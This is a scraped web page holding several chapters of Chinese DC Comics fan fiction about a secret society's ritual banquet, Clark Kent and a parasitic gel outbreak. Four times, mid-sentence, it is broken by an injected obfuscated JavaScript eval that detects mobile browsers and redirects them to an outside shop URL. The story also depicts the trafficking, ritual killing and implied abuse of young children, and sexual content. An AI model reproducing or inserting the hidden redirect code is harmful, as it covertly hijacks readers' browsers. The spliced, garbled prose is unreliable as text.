“那么,”雨果将手下压,他的脸上带着笃定的,游刃有余的表情,即使这被面具遮蔽,大家也能看出这一点,“我提议,大家可以找点乐子。” 他顺手将一枚金币丢入舞池:“二十天。” 这是雨果认为的,那个外国超级英雄崩溃自杀所需要的天数。 一时间,舞池里的金币汇聚如雨水。 19.回家的诱惑 小提琴战栗的乐声伴随着金币碰撞着地面的声音在空旷的大厅中回荡,昭示着宴会终于真正的开始了。 埃德蒙并没有加入大厅中那狂乱至极的,会令人想到酒神的祭典的场景,他只是安静地坐在雨果的身边,从侍者的手中接过为他专门准备的水果冰激凌。埃德蒙的性格沉闷,雨果早就知道这一点,因此他并不会建议埃德蒙去大厅里,去人群之中“找点乐子”。他放任埃德蒙继续留在自己的身边,他自己也并未下去嬉游。 事实上,这也不是说雨果会自认为年龄大了,不适合下去同年轻人一道玩耍,事实上宴会经常还有七八十的老人参与。据传猫头鹰法庭的宴会最老的参与者都已经超越百岁,依靠特殊的药剂和魔法才能勉强维持生命。这样的事情并不算少见,甚至越是年老的人就越是要证明自己的□□和心灵还能继续使用,越是需要发泄自己扭曲的心理。 他们就像是从年轻人的身上吸取精力的吸血鬼一般,衣冠楚楚,包藏祸心。 原本兄弟俩的父亲安德烈就是这样,他期待着生命的延续,为了自己活下去可以出卖任何人,甚至撕咬本来对自己而言相当重要的长子——对于雨果来说,安德烈哪怕杀光了家里的其他人作为献祭都是可以理解,可以接受的,因为其他的孩子只是证明自己生育能力出色的工具,只有长子算是孩子。但安德烈要杀他,这是让雨果寒心的地方。 埃德蒙其实不是很能理解雨果的想法,一个人都已经烂透了,为什么还要证明他有机会没那么烂,杀了别的孩子不就证明他也可以杀你?想要从一个杀人魔的身上找到“他对你还是真心的”这样的感受从来都是愚蠢的行为,独一无二的偏爱或许存在,但绝不是这样的。 埃德蒙也同样不相信雨果的偏爱,但他只能依靠雨果生活。 雨果并不知道埃德蒙在想什么,他只是温柔的将自己的手覆盖在了埃德蒙的手背上,他看着埃德蒙,问:“自从你上次离开莫蒂默庄园已经过去了整整三个月,爱德,你打算什么时候回家住一段时间呢?你知道的,艾伦也很想念你。” “我明白,雨果,但恐怕家里并没有什么必须要我去做的事情,莫蒂默家族需要的是你,雨果,你可以解决一切。”埃德蒙说,他微微低下头,在被面具完全遮蔽的脸上自然无法看到任何表情。他并不喜欢莫蒂默庄园,即使莫蒂默庄园符合任何人对于有钱人的家的想象——或许还要更好,或许会被人视为乐园,但他依然不喜欢。 而雨果轻笑一声,他并没有真的把埃德蒙的拒绝当一回事,这个孩子说的还有什么是能当真的呢?他只是一个不擅长享乐的孩子,在很多时候还不明白自己的手中掌握着怎样的力量。“你不能把和家人共处视为一个问题,也不能把正常的沟通视为问题,爱德,”于是雨果说,他轻轻抚摸着埃德蒙的后颈,“我当然可以解决问题,但这不是需要排斥的东西,你是家族的下一个主人。” 埃德蒙沉默地看着雨果,而雨果继续说:“当然,我知道你心软,也不习惯看到一些东西,所以,当你在家的时候,家里不会出现任何你不喜欢的东西或者人,你只要回来,享受难得的假期就可以了,不是吗?更不要说,这一次我特别允许你把那个记者带到家里来,我会让所有人将他视为尊贵的客人。” “我没有带克拉克见过那些……东西,”埃德蒙终究还是用了一种妥协的语气说,“我不希望在我带他回家的时候有任何人刺激到他。” “那是当然,爱德,”雨果笑着说,他的语气带着一种志得意满,“你们可以用每一个房间,每一个游戏室,我相信你一定会度过一段快乐的时光的,还有你的小鸟儿。可惜你买的别墅还是太小了,根本经不起更多的改装。或许我应该专门给你买个新房子,或者,让他彻底成为你的东西。” 埃德蒙知道游戏室是什么,也知道雨果的意思,他甚至知道雨果这么说完全是……出于一种残酷的好意。他在过去一直都觉得游戏室是什么处刑台之类的,他绝不会想到这些东西能和爱欲扯上任何关系。但越是有钱的人就越是习惯于感官的刺激,也就越是喜欢尝试一些极端的玩法。而有些东西能够改变人的意志,让人从根源上不再是过去的自己。 埃德蒙不认为世界上有谁应该遭遇那样残酷的对待——那些架子,那些冰冷的金属,还有淋漓的血,但事实上会像他这么想的人还是少数。他只是叹了口气,然后说:“我看中克拉克,必然是因为他是他,一次玩坏,或者弄坏他的大脑,与我的期望不过是南辕北辙。我只会让他住在我这里,他白天要去上班,晚上留在我的身边。” 不用担心我会让克拉克说一些不该说的东西,这便是埃德蒙做出的表示,不用担心,因为我会看好他。 “那是当然,毕竟他是你的东西。”雨果说,他对克拉克没有兴趣,这是他弟弟的玩物,而且克拉克并没有表现出什么必须让他看重的地方……这并不是说雨果觉得克拉克不美或者别的什么,而是因为对他而言单纯的美色已经不那么重要了。他还维持着男性重要的生理机能,但他并不那么关注这个。更何况,他只要勾勾手指,哪怕是星球日报的其他股东们也会像是狗一样的爬过来。 埃德蒙其实不想将克拉克视为自己的所有物,克拉克是独立的人,他不需要依托自己就能生活,他的一切成就也不是依赖自己取得的……但他不能这么说。在这里,埃德蒙的人,埃德蒙的宠物对于克拉克来说就像是免死金牌一样,为了防止得罪埃德蒙,许多人会忍耐这个“麻烦的记者”。 “我很……”埃德蒙努力想要用一个尊重克拉克,又能表达出克拉克重要性的词汇,“认为他鲜活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056080|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可以认为我觉得他不属于我们这个圈子,强行拉他进来只会损坏我喜欢他的部分。” 雨果笑了一声,在他的眼里,埃德蒙这么说的语气就好像是三流小说里脑子被蒙蔽的主角大喊什么“但是他不一样”。一个卖身上位赚钱的人有什么不一样的?然后他说:“有些时候,我觉得你对这家伙太过仁慈。对狗太好会让它们分不清谁才是真正的主人。你应该教育他,你的意志才是对他而言最重要的东西,而不是说他可以说什么‘我还要上班’,就把你放在一边。” 埃德蒙知道,雨果说了那么多主要的就是为了这句话,在雨果的眼里……不,在绝大部分人的眼里,克拉克的工作或者理想都是无关紧要的,他唯一要做的就是全力讨好埃德蒙,用自己的身体,用自己的一切。他合该在地上爬行,将埃德蒙供奉到神座上去,即使埃德蒙知道自己想做的事情恰恰相反。但争辩毫无意义,雨果并不在意克拉克是不是有独立思想的人类。 甚至人类的独立思想在很多时候也是毫无意义的,它换不来一块面包,在这里的绝大部分人的眼中,只有与他们站在一起的人才具有价值。 但你又要如何定义人的价值呢?尤其是在考虑到对方确实能够将你的生死玩弄于股掌之间时候?说着什么人类的价值不应该被定义,但实际上只是说辞而已。埃德蒙不知道自己应该如何去说,如何去了解人类的价值,于是他只能沉默,似乎沉默才是这个世界上唯一具有真实意义的东西。 “我明白你的意思,”然后他对雨果说,“只是这样对我来说是最舒服的相处方式……另外,我白天也有工作,这是我少有的娱乐,我并不认为这应该被剥夺。”埃德蒙知道说什么法医工作或者医生工作的重要性完全是扯淡,他解剖一百具尸体也不能破获哪怕一个案件,他治疗一百个白领能赚的钱不如他基金一天的收益。但这确实是他唯一能做的事情。 雨果看着埃德蒙,埃德蒙不确定雨果的眼神到底是审视还是真的慈爱,但这无关紧要,正常人也不会觉得这种慈爱是什么好东西。然后雨果说:“也好,虽然我很怀疑那群蠢货是否配得上你的才智与努力,但如果这能让你感觉开心的话。” 而埃德蒙没有说话,他看着在大理石的地面上交叠蠕动的男男女女,他们的身躯倒影在地面上也飘浮在天上,像是无数肥白的蠕虫不断扭动。索多玛或者蛾摩拉,只在宗教典籍上出现的情形一次次在人世间上演,而这还不是最激烈的。埃德蒙总能看见一切,天火却从未降临,人间如此荒诞,似乎神子也会被送上祭坛撕裂。 埃德蒙思念着克拉克,他在心里描绘着克拉克的眉眼,这样他才不会因为这种狰狞的场景呕吐出来,克拉克让他成为人,而不是如这些人一般的野兽。 他曾经只差一步,就要踏进那个疯狂的深渊了。 20.马戏团 宴会行至高潮,终究还是到了被无数人所期待的主菜的环节。侍者穿着罗马式的长袍迈开脚步,推着一辆装满鲜花的小推车走向八芒星。在小推车上坐着两人,一男一女,看起来他们的年龄都不超过八岁。他们身着白色的纱衣,用黄金和橄榄枝叶装饰着身体,在他们的脸上都带着一种恍惚的笑,似乎他们并不是以这样羞耻的姿态被带进宴会,而是来到了什么有趣的地方玩耍。 埃德蒙垂下眼睛,不愿再看,雨果也知道他的性格向来如此,就没有强迫他留在这里。当阉伶的歌声响起的时候,小提琴的声音也同时变调,接下来弹奏的则是竖琴。今天所举办的并非游乐,而是一种仪式,埃德蒙知道,所以他在和雨果说了之后就站起身来,向着后台走去。在他的背后燃起了烟雾,孩子的笑声随之扭曲成为了欲望的容器。 为了证明足够新鲜,他们会在客人的面前被屠宰,许多人就是为了观看这一幕而来的。孤儿院里的孩子就被卖给这样的客人,但这两个孩子毫无疑问不是孤儿院里来的,他们被照顾得很好,细皮嫩肉的,虽然看起来并不是什么有钱人家的孩子,但也能看出他们的家长对他们多么珍爱。甚至女孩的头发上还有一个水晶发卡,实际上不贵,然而也不是什么小数目。 这两个孩子是马戏团的人从堪萨斯州带来的,马戏团来到乡下的小镇,演出着欢乐的场景,孩子们笑着跳着,和动物,和马戏团的小丑玩乐。然后他们追着气球,追着吹笛人的笛声销声匿迹,运气好的家长能在几年后看到自己的孩子,已经变成了小偷或者畸形秀的演员,运气不好的家长永远也不会知道自己的孩子去了哪里。 一些马戏团甚至会专门盯着那些被家长宠爱和娇惯的孩子,他们一般更美丽,更细皮嫩肉,甚至还可以先敲诈那些家长一笔,再把孩子卖出去。上等的货色能卖到更多的钱,因为他们有个更多的用途,随着网络技术的发展,人们甚至可以足不出户,在家里选择要让马戏团的小丑带走哪一个来观摩马戏的孩子。 这也是为什么很多时候,乡下的人们在孩子失踪后,会直接去抓马戏团的人,然后把他们杀死。杀错的可能性不会没有,但绝大部分时候不会杀错,许多马戏团的家伙甚至会在自己要被杀死之前先弄死自己拐来的孩子,作为一种对等的报复。然而这是一个欺软怕硬的国家,人们反而更担心那些被杀的马戏团的家伙变成恶灵报复自己,而那些人从不害怕孩子的鬼魂。 克拉克是在被埃德蒙包养之后才有机会去看自己人生中的第一场马戏的,因为玛莎和乔纳森从来不会带他去市集上,哪怕在玛莎和乔纳森必须去购买化肥的日子,克拉克也会被反锁在家里。他一度觉得这件事让他在学校里抬不起头,他的同学们会讲市集上的棉花糖,马戏,喷火的人,克拉克却只能说自己感冒了,在家里待了一天。 可怜的克拉克,脾气好的同学会这么说,然后把自己从市集上买的,“大都会来的”东西送给克拉克一些。病秧子克拉克,那些坏孩子会这么说,故意在克拉克的面前炫耀自己得到的气球。 斯莫威尔的儿童失踪率并不算高,也就是每年五到十个,而且绝大部分最后都能从小河里找到。 克拉克并不会责怪自己的爸爸妈妈,因为他是个好孩子,哪怕他不被允许参加社团活动,不能独自一人出门,不可以独自一人去教堂礼拜,不可以把同学带回家或者去同学家……克拉克其实不明白包围着自己的那些条条框框到底是什么,后来他认为这只是因为他是个外星人,他要掩盖自己的真实身份。 所以,和埃德蒙一起去看马戏的时候,他感到非常愉快,那天他说了很多,他说自己的爸爸妈妈不带他去看马戏,他在小时候也想要一个自己的气球——现在他可以买一百万个气球了,但他就是想要一个。然后埃德蒙停下脚步,在马戏团外面的气球摊买了一个超人的气球,那个时候超人还算半个都市传说,自然也没有版权费,所以红蓝黄的气球成为了流行。 克拉克一瞬间觉得自己很傻,自己就像是小说里那种为了一碗白粥就要跟人跑的傻姑娘一样——他那个时候也自己接翻译稿,把外国小说翻译成英语,按字数赚钱——因为一点点小小的恩惠就感动得无以复加……但克拉克又觉得不一样,他不一样,埃德蒙给他的所有钱财都没有那个超人的气球来得让他触动。 埃德蒙把气球系在克拉克的手腕上,他们走进了包厢——埃德蒙看马戏都有包厢,而且看完了还能和演员或者动物进行亲密的互动。克拉克说他想看埃德蒙骑着那匹白马,他要给埃德蒙拍张白马王子的照片。埃德蒙点了点头,他在包厢里和克拉克接吻,克拉克觉得自己一点点融化,溺毙在了埃德蒙的气息之中。 不过克拉克人生中看的第一场马戏也并没有以什么愉快的看了一整天告终,他其实不是很懂为什么这家马戏团要表现不用安全绳的空中飞人,甚至器材断裂的瞬间他还以为是表演的安排,但他理解人要是这么直接摔在地上就死定了,他只能用自己最快的速度飞过去把那两个坠落的马戏演员放在地上然后飞回来。 埃德蒙没有察觉到任何异样,而那两个马戏演员在惊魂未定的时候依然能够表现出“这是表演的一部分”的从容,并没有暴露出自己被什么神秘的力量拯救了的态度。不久之后克拉克知道了是哥谭当地的帮派做出了这一切,而不知为何,当时在场的,最年幼的空中飞人的演员迪克被布鲁斯收养。不久之后迪克成为了蝙蝠侠的助手罗宾。 克拉克没有主动问过迪克为什么会这样,但当迪克知道克拉克是超人之后,表现出了超乎寻常的热情主动为克拉克解释了当时发生的事情。那个帮派的成员不仅仅是希望勒索马戏团,还要让马戏团把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057016|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪克转让给他,似乎还涉及到一些与格雷森家有关的事情,而他的爸妈不希望这些事情继续干扰到迪克,布鲁斯就成为了最好的选择。 但布鲁斯也管不住迪克,迪克以一种十二万分的热情开始协助布鲁斯的夜间工作,在韦恩庄园的每一个角落撒欢,给罪犯讲冷笑话……和布鲁斯维持着良好的关系。 据说迪克甚至还帮布鲁斯泡妞来着,不过克拉克不知道,他已经离一般人的恋爱生活很远了。迪克也知道克拉克和埃德蒙的关系,不过他憋着没有告诉任何人。关心超人的隐私当然是首要任务,而除此之外,克拉克被埃德蒙包养一事当年震撼了他也震撼了布鲁斯,他就是要看别人在发现了这个秘密之后的惊恐表情口牙! 克拉克当然也知道迪克的“邪恶”计划,不过他随便,而且他自己其实也挺爱看别人震惊的,这大概也算得上他为数不多的娱乐了。 埃德蒙离开了宴会厅,把笑声,身体碰撞的声音,音乐声,惨叫声和鲜血流淌的声音全都抛之脑后。他坐进车里,让司机打开车窗,寒冷的风吹拂在他的脸上,让他从那种熏熏然的气氛之中挣脱出来,他知道仪式的下一步是什么,是圣餐。人类的堕落在此时此刻被完全展现,笑着吞噬同类是优越的代名词。 汽车驶入专门的桥梁,这座桥在谷歌地图上同样没有标注,莫蒂默庄园在一座岛上。说是岛屿,那也同样是一座被莫蒂默家族建立的小型城市或者说要塞,在岛上有四千人以上,他们全都是为莫蒂默家族服务的奴仆。这一次还是五个仆人一起打开了大门,埃德蒙平静地走进去,他走在长廊上,无数的画像正在俯瞰着他。 埃德蒙的卧室很大,他的卧室和他别墅的客厅差不多大,埃德蒙觉得正常来说人应该不需要那么大的房子。家中负责服侍他的仆人接过他的衣服,跪在地上帮他换上鞋子,埃德蒙可以随便找一个他看上的男人或者女人,拉进卧室或者游戏室,之后给予奖励或者直接宰掉。不过“埃德蒙少爷不喜欢有人凑到他的面前”,因此除开必要的服侍之外,他们不会被埃德蒙看见。 他坐在床上,拿起了一本书,不过其实埃德蒙还是更想玩手机的,他在前世都没什么玩手机的时间,最高一次过年五十七个小时没睡觉上手术台缝了十八个小孩,包括玩鞭炮炸断的手指,胳膊,大腿和男性核心生理功能发挥作用的某个器官。这一世他一个月最多被安排四五台手术,有时候还是专机接送,平时见的死人都比见的病人多。 为了让自己的手艺不至于变得拙劣,埃德蒙其实还偷偷去缝另一些不怎么能去医院的病人,或者免费缝GCPD的同事——缝尸体是可以光明正大的,毕竟缝尸体不会影响到医药费或者医保。不过考虑到他就是医药复合体的人,他说是练手艺就是练手艺,他不会被自己家的人盯上,最多是雨果嘱咐他,让他别太累。 21.血胶质 超人正降临在了异国的土地之上。 他微微昂首,注视着冬季的极夜,深色的,如同绸缎一般的天幕之上正镶嵌着璀璨的群星。他听到雪的声音,雪下冬眠的虫子和蛙缓慢的心跳,狼在漆黑的雪地中逡巡,鹿在鸣叫,在砥砺自己的大角。而混杂在这些声音之中的,是令人不安的异常之声,像是什么垂死的动物正在勉强用着自己鲜血淋漓的喉咙跑到,尝试威慑围上来的敌人。 于是他向着那个声音飞去,超人没有忘记自己是来干什么的,生物力场将他完全覆盖,这是黄太阳对氪星之子的恩赐。普通的细菌或者病毒根本无法靠近他的身体,就算是什么特殊的东西也很难绕过他的屏障,更不用说是感染他。他很快就找到了声音的由来,那是一只兔子,它正在雪地里艰难喘息,从被撕裂的皮毛底下长出无数血红色的东西。 从视觉角度来说,这些红色的东西更像是兔子自己的血管,它们刺穿皮毛,暴露在体外。但在超人看来,这些血管更像是吊住傀儡的丝线,他看过木偶剧,那些东西要依靠丝线活动。接着,那只兔子切实的站立起来,这个时候超人才看到——他并没有立刻透视这只兔子——它的另一侧已经被什么东西吃空了,而血管依旧存在,并且不断蠕动。 说句实话,超人觉得这还挺恶心的,虽然他这辈子看过的恶心的东西还挺多。他透视了这只兔子,它的身体里似乎并没有增加什么东西,这明显是不合逻辑的,血液还在兔子的血管中流动,超人认为这一切都可能与血液有关。他想了想,并没有直接接触那只兔子,而是从不远处的树上折下了一根树枝,触碰了凸起的血管。 最开始,血管并没有对超人的触碰做出任何反应,好像它真的只是血管一样,但在发现超人似乎要用这根树枝弄断血管之后,它迅速凸起膨胀,血管壁也变得透明。超人一眼就看出这是一种自爆的方式,他并没有躲闪,而是用热视线迅速烧掉了血管爆裂开来时喷溅出的所有血液。 这个时候超人才能看清,那些并不是血液,或者说,不是真正的血液,而是一种暗红色的,粘稠的,胶质的东西。超人可以保证自己的人生中没有见过任何类似的东西,不过它们是活的,这是超人确定了的事情,因为这些仿佛是血液的东西会做出一些生物的反应,但超人并没有在它们的身上看出任何细胞的结构。 超人的心中充满困惑,然后他打算将这些东西拿回去分析——这是没办法的事情,他们总不能一直都对发生的事情一无所知,他必须再找到一只被这种血液一般的东西感染的动物,然后把它分离出来,尝试着用其他的东西,器皿,把这种东西装载起来。他叹了口气,这可不容易,关键并不是找到被感染的动物,而是找到合适的器皿。 这片森林里被感染的动物并不多,这件事倒是挺出乎超人的意料的。刚看到那只兔子的时候,他还以为整个森林都会遍布被感染的动物,让这里变成生化危机的拍摄现场。但这些东西的数量不多也不能代表安全,超人不能确定,现在还是需要使用专业的仪器进行分析。想到这里,他又叹了口气。 他尝试着用玻璃的容器收集了那些东西,好消息是只要玻璃内部足够干净,它就不会逃出来,不过他也没有加盖,他用热视线把玻璃烧化之后直接黏合到了一起。在确保没有缝隙的情况下,这个胶质的活物自然也无法离开。接着他清理掉了自己所能见到的,所有的感染生物,这才去找那个加拿大的超级英雄。 加拿大的超级英雄的名字是马蒂,过去和他的哥哥一起在森林里担任看火人,这是一个孤单的,却又使命重大的工作。他接待了超人,脸上带着疲惫的表情,或许是因为哥哥的死对他造成了太大的心理打击,不过他还是给超人倒了一杯热茶。超人可以听到地下室传来的,死者的咆哮和吼叫,然后他看着马蒂,让马蒂重复一遍发生的事情。 马蒂抹了一把脸,此时此刻要说出发生在他和他哥哥的身上的事情对他来说也是一种伤害,但他很清楚这是必须的。于是他深呼吸,然后说:“不久前,我哥哥发现了部分动物的行为异常,当时我正好在山下采购过冬的食物,所以就没有和他一起去森林里检查……”而这也将会成为他一生的遗憾。 在检查结束之后不久,马蒂的哥哥就开始发烧、呕吐,后来更是发展成了瘫痪,马蒂通过电话咨询并没有得到任何有用的建议,在他终于决定哪怕是急诊也得带哥哥去看的时候,他的哥哥就已经去世了。并且在去世之后,很快出现了被那种奇怪的红色胶质侵蚀的现象。马蒂只能暂时把哥哥关在地下室,然后联系了正义联盟。 因为一些众所周知的事情,比如目前的美国总统对吞并加拿大和格林兰岛充满兴趣,像是马蒂这样,作为加拿大的超级英雄,但向正义联盟求援,是一种非常不受人待见的行为。超级英雄这个概念本身就是美国先提出的,而正义联盟的创始人绝大部分都是美国人,甚至超人在出道的最初还说过“以美国的方式”,因此正义联盟不可避免的打上了美国的烙印。 如果不是因为实在走投无路,马蒂是不会联系正义联盟的,而在请求超人帮忙的时候,他也不得不请求超人不要大张旗鼓。超人能理解马蒂的想法,不久前他才刚宣布自己改变了自己的行事准则,把“美国方式”改成了“更美好的明天”。当然,打算竞选下一任总统的卢瑟嗷嗷叫唤着,说这代表了超人的野心,但大部分人很支持超人更改准则和口号。 超人其实不知道自己该说些什么,不过这也几乎是一种常态了,他点了点头,跟着马蒂去地下室查看他的哥哥的尸体。 那种凸起的血管在人的身上会更加明显,超人一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063913|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间觉得有点恶心,这倒不是说他觉得人的血管恶心或者恐怖,他已经过了这个年龄了,只是他认为任何生命都不应该遭受这样的亵渎。他在短暂的沉默之后问马蒂:“我可以开始吗?”而马蒂点了点头,他将视线移开,不忍看着曾经是自己的哥哥的人被超人彻底解决,即使他知道这是正确的选择。 超人看了马蒂一眼,从马蒂的哥哥的血管里弄出了那种红色的胶质,在确定没有残留之后说:“我还是希望再征求一下你的意见,你的哥哥的尸体必须被立刻火化……我知道这对你来说很残忍,但是为了防止这种诡异的污染扩散……” “我明白,”马蒂轻声说,他像是哭了一样抽了抽鼻子,“就这么做吧,这已经是现在唯一的选择了,不是吗?更不要说我也买不起墓地……这样就好,说不定我的哥哥的灵魂可以继续看着这片他保护了很久的森林。” 超人轻声叹息着,从他的眼中发出热视线,被抽走了那种红色的胶质之后尸体没有继续蠕动,而是安静地倒在地上。很快它就被烧成了灰烬,并不是火葬场里那种还混着骨片的骨灰,而是真正的回家。马蒂小心的把骨灰收集起来,在他的眼中还有泪水滚落。超人明白他的痛苦,但还有一件事他必须得说:“我可以透视你,检查你是否也被污染了吗?” 马蒂又点了点头:“虽然我觉得我一切都好,但或许这是必须的。” 马蒂非常的通情达理,超人也因此省了不少事,他没少碰到那种不愿配合的受害者。最初他会感觉到委屈,毕竟他的一切帮助都是出于好意,但慢慢的他理解了并不是所有人都需要他的好意,而最重要的是,有时候他们的抗拒之中有着特殊的原因。超人要做的并不是强硬的让对方接受自己的帮助,他要做的和能做的都还有很多。 他检查了马蒂的全身,尤其是血管,马蒂的血流速度非常正常,并没有出现什么类似于被那种胶质寄生造成的,血流迟缓的现象。于是他松了口气,他带着两罐胶质向着瞭望塔飞去,他会先在瞭望塔的专门房间进行检查,然后用仪器对这些胶质进行分析——自然,负责分析的不是他而是机器,他可以回去找埃德蒙休息。 超人松了口气,他光明正大地去看埃德蒙,现在已经是深夜了,埃德蒙并不在他们的家里,而在莫蒂默庄园,莫蒂默庄园几乎所有地方都有铅层和魔法隔绝超人的视线,这也是绝大部分有钱人的庄园会做的……措施。他看不到埃德蒙,有些焦躁,然后他给埃德蒙发去短信。 “在吗?” 埃德蒙几乎是瞬间回复了他的讯息:“在的,克拉克,我今天回莫蒂默庄园了,有什么事吗?我现在开车过来?还是让人来接你?” 超人轻笑了一声,然后说:“半小时之后我要和你打视频电话,你最好做好准备,因为我会叫得很大声。” 22.金手指 超人将胶质递给了瞭望塔里值班的同事们,他用着最快的速度讲述了自己的发现,包括森林里的异变,胶质的传染性和它的危险性,超人还说自己找到了那块陨石,但陨石确实毫无异常,为了防止出现问题,他将那块陨石彻底销毁了。他协助着,将胶质放上了检测的机器,胶质毫无疑问无法感染非生物,而且不耐高温,这也是他们处理它最好的方法。 在确定了这些之后,他以最快的速度转身离开了瞭望塔。他可以听到背后有人问蝙蝠侠“超人那么急着是要去哪里”,但蝙蝠侠没有回答,他在心里偷偷吹了个口哨,对蝙蝠侠道歉,然后以亚光速飞入大气层中。他觉得自己已经迫不及待了,甚至可以感觉有什么沿着大腿流淌下来,流进了踩脚袜和靴子里。 在回到家里之后,克拉克迅速脱下了制服,他把制服塞进洗衣机里——制服有自清洁功能,但他等不及了。然后他打开手机,给埃德蒙拨打视频电话,等待接通的过程中他还顺便拿来了手机支架,并且在床上摆了个姿势,在自己身上盖了一层轻纱。通讯很快就接通了,埃德蒙俊美的脸出现在屏幕上,克拉克给他丢了个飞吻,接着才开始看埃德蒙身后的背景。 在埃德蒙的身后是金碧辉煌的床柱,附近还有粉刷和绘制美丽的墙壁,克拉克一眼看出埃德蒙现在在什么地方,他下意识舔了舔嘴唇:“所以你被你哥哥叫回去了?你今天不回家陪我?” “对,”埃德蒙回答,他的视线并未从克拉克的身上移开,他的眼神近乎贪婪,“他说我那么久没回家了有必要回来一趟……天呐克拉克,你绝对不知道我到底有多么想念你,我甚至恨不得马上……等一下,克拉克,你刚才是去什么地方了吗?采访?采访了谁?如果可以的话我需要知道……克拉克,我现在很想见你,我现在就要见你,我让克鲁特开直升机来接你,你快点换好衣服,克拉克,我求你!” 埃德蒙一向温柔的声音突然变得惊惶急切了起来,克拉克甚至觉得他在发抖。说真的,克拉克已经有段时间没有看到过埃德蒙那么惶恐的样子了,一瞬间他自己也变得有些害怕:“亲爱的你先冷静一下,是有什么我不知道的事情发生了吗?为什么急切成这样?” “克拉克,求你,你先来,我让他们来接你了,求你,克拉克。”埃德蒙并没有回答,不过他也没有关闭通讯。克拉克可以听到埃德蒙呼唤佣人的声音,埃德蒙总是彬彬有礼,即使在这个时候也没有说什么粗鲁的命令。但埃德蒙很少这样着急,还是那句话。为了让埃德蒙放心,克拉克还是换上了外出的衣服,等待着埃德蒙说的直升机过来。他理解为什么埃德蒙没有亲自过来接他,埃德蒙的体质有些……特殊。 克拉克知道埃德蒙是一个“超能力者”,埃德蒙亲自对他坦白过。不过埃德蒙其实没有什么都坦白,比如说他就没有告诉克拉克自己是穿越者(或者说重生者?)的事情。他担心这件事暴露出去可能会造成什么影响,他打算把这一切都烂在自己的肚子里。 另外,埃德蒙其实根本不知道自己为什么会穿越——在他的记忆里他没有死过,也没有遇到过任何异常的事情,埃德蒙并不相信世界上会有什么无缘无故的事情。直到现在埃德蒙也无法理解自己的“金手指”的作用机理,他确实能用金手指保护自己,但也仅此而已。 不像是埃德蒙偶尔听书听到的那种会和宿主交流的系统——埃德蒙其实觉得宿主这个词语蛮恐怖的——埃德蒙的金手指具体的使用方法更像是单纯的电脑软件。金手指有后台和前台模式,后台模式是一种被动,当超能力或者超科技的制品会对埃德蒙产生不利影响的时候,这种影响会被抵消。 这种被动比较不讲道理,简单来说,超能力者丢了一块石头砸断柱子导致天上掉下一个花盆砸到埃德蒙的头上,这个花盆也不会对埃德蒙产生任何不利影响。判定的标准是,埃德蒙是否会受到不利影响,这个影响出现的链条上是否存在超能力或者超科学,只要有任意一环被超能力或者超科学影响到,埃德蒙就不会因此受到伤害。 当然,一个超能力者完全不用超能力,用普通水果刀给埃德蒙捅一下不算在豁免范围之内。埃德蒙不知道这是怎么评判的,所以他也不会主动冲到超能力者大战的范围之内。埃德蒙不想那么简单的死掉,他还得继续照顾克拉克,一想到克拉克他就希望自己能长命百岁了——至少不能死在克拉克之前。 而金手指的前台模式,是主动扫描一定范围内的所有超科技和超能力,这个一定范围目前是指以埃德蒙为球心的三百米之内,甚至包括地底的球体,即使有建筑物的阻隔也依然能扫描到超科技和超能力的存在。平时埃德蒙不会主动扫描别人,所以他最多也就是知道许多人都有一些超能力。 甚至埃德蒙可以说整个哥谭的人都是超能力者,哪怕一般人也有“疼痛豁免(轻)”,“恢复力提升(轻)”,“致幻剂豁免(轻)”的特殊能力。哥谭人哪怕断胳膊断腿,只要不是直接被砍下来,都能快速恢复,可能是因为哥谭的水里都有酒神因子存在。而且哥谭人比一般人更难止疼剂上瘾,以哥谭的情况,甚至不是每个混混都有毒瘾,这点还是很让人惊讶的。 不过每个城市的人都有自己的独特超能力,比如说大都会的人就有“心灵控制相关能力豁免(轻)”,“恐慌症豁免(轻)”和“科技学习能力提升(轻)”的超能力。这一切似乎和城市的本质,或者城市中超级英雄的存在有关。 考虑到隐私,埃德蒙并没有扫描过克拉克的超能力,他只知道克拉克的超能力有力气大和恢复力强两个,长不胖算不算不知道,但或许也可以算在恢复力里。 埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 